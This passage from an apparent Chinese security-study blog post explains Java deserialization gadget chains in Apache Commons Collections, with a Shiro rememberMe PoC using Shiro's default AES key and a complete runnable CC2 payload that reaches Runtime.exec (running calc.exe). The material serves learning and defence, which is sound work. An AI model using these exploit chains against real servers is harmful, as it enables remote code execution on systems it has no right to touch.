//oos.writeObject(expMap) 将对象 expMap 序列化并写入 ByteArrayOutputStream 中
oos.writeObject(expMap);

//oos.close() 关闭 ObjectOutputStream
oos.close();

//barr.toByteArray() 方法,将 ByteArrayOutputStream 中的数据转换为字节数组
barr.toByteArray();

无数组cc6打shiro

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
public static void main(String []args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(com.xxx.class.getName());//恶意类
byte[] payloads = new CommonsCollectionsShiro().getpayload(clazz.toBytecode());

AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}

javassist生成字节码

在上边我们利用cc6打shiro时利用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 。

0x06 cc2

前言

由于在2015年底commons-collections反序列化利⽤链被提出时,Apache Commons Collections有以下两个分⽀版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId和artifactId都变了。前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后 者是官⽅在2013年推出的4版本,当时版本号是4.0。

官⽅认为旧的commons-collections有⼀些架构和API设计上的问题,但修复这些问题,会产⽣⼤量不能 向前兼容的改动。所以,commons-collections4不再认为是⼀个⽤来替换commons-collections的新版 本,⽽是⼀个新的包,两者的命名空间不冲突,因此可以共存在同⼀个项⽬中。 那么很⾃然有个问题,既然3.2.1中存在反序列化利⽤链,那么4.0版本是否存在呢?

commons-collections4的改动

因为这⼆者可以共存,所以我可以将两个包安装到同⼀个项⽬中进⾏⽐较:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commonscollections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commonscollections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies

因为⽼的Gadget中依赖的包名都是org.apache.commons.collections ,⽽新的包名已经变 了,是org.apache.commons.collections4 。 我们⽤已经熟悉的CC6利⽤链做个例⼦,我们直接把代码拷⻉⼀遍,然后将所import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.* 。 此时IDE爆出了⼀个错误,原因是LazyMap.decorate这个⽅法没了:

image-20221113163408075

看下decorate的定义,⾮常简单:

1
2
3
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}

这个⽅法不过就是LazyMap构造函数的⼀个包装,⽽在4中其实只是改了个名字叫lazyMap

1
2
3
4
public static <V, K> LazyMap<K, V> lazyMap(final Map<K, V> map, final
Transformer<? super K, ? extends V> factory) {
return new LazyMap<K,V>(map, factory);
}

所以,我们将Gadget中出错的代码换⼀下名字:

1
Map outerMap = LazyMap.lazyMap(innerMap, transformerChain);

image-20221113163615717

同理,之前的CC1,CC3利用链都可以在commonscollections4中正常使用

commons-collections之所以有许多利⽤链,除了因为其使⽤量⼤,技术上的原因是其 中包含了⼀些可以执⾏任意⽅法的Transformer。所以在commons-collections中找Gadget的过 程,实际上可以简化为,找⼀条从 Serializable#readObject()⽅法到 Transformer#transform()⽅法的调⽤链。

cc2

其中两个关键类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

java.util.PriorityQueue是⼀个有⾃⼰readObject()⽅法的类:

image-20221113164323444

org.apache.commons.collections4.comparators.TransformingComparator 中有调 ⽤transform()⽅法的函数:

1
2
3
4
5
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

所以CC2实际就是⼀条从 PriorityQueueTransformingComparator的利⽤链

1
2
3
4
5
6
7
8
9
10
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()

TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

开始编写POC,⾸先,还是创建Transformer:

1
2
3
4
5
6
7
8
9
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers= new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

再创建⼀个TransformingComparator,传⼊我们的Transformer

1
Comparator comparator = new TransformingComparator(transformerChain);

实例化PriorityQueue对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较, 所以是2;第⼆个参数是⽐较时的Comparator,传⼊前⾯实例化的comparator

1
2
3
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。 最后,将真正的恶意Transformer设置上,

1
setFieldValue(transformerChain, "iTransformers", transformers)

完整payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class cc2 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception{
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc.exe"}
)};

Transformer chain = new ChainedTransformer(fakeTransformers);
Comparator comparator = new TransformingComparator(chain);

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

setFieldValue(chain, "iTransformers", transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();


}
}

0x07 cc4、5、7

https://www.cnblogs.com/gk0d/p/16886697.html

0x08 参考

https://www.cnblogs.com/gk0d/category/2232825.html

https://govuln.com/docs/java-things/

由 Hexo 驱动 & 主题 Keep
总字数 50.7k 访客数 访问量